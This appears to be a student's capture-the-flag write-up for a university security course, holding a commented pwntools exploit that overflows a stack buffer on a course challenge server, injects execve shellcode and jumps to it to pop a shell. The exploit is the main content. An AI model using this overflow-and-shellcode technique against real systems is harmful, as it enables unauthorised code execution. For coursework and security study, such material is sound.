wk6 - shellcode, GOT
Theme: intro to pwn ("pop a shell")
old school (50)
from pwn import *
context.log_level = "DEBUG"
context.terminal = ["tmux", "splitw", "-f", "-h"]
context.arch = "amd64"
p = remote("offsec-chalbroker.osiris.cyber.nyu.edu",1290)
p.recvuntil("23): ".encode())
p.sendline("[ID]".encode()) # enter your Net ID
p.recvuntil(b"at: ")
# this program leaks the buf addr - use this to clobber return addr bc it's where we inject our assembly code
buf_addr = int(p.recvuntil(b"\n", drop=True), 16) # drop=True to exclude the \n char
p.recvuntil(b">")
# assembly code: prepare registers for execve() syscall
# set rsi and rdx to 0 to indicate not passing in arrays
s_instr = asm('''
mov rdi, 0x402008
mov rax, 0x3b
mov rsi, 0
mov rdx, 0
syscall
''')
amount_of_filler = 0x38 - len(s_instr) # buf is 0x38 bytes; fill in gap between our assembly and the return addr
filler = b"A" * amount_of_filler
p.sendline(s_instr + filler + p64(buf_addr))
p.interactive()assembly (50)
back to glibc (150)
Last updated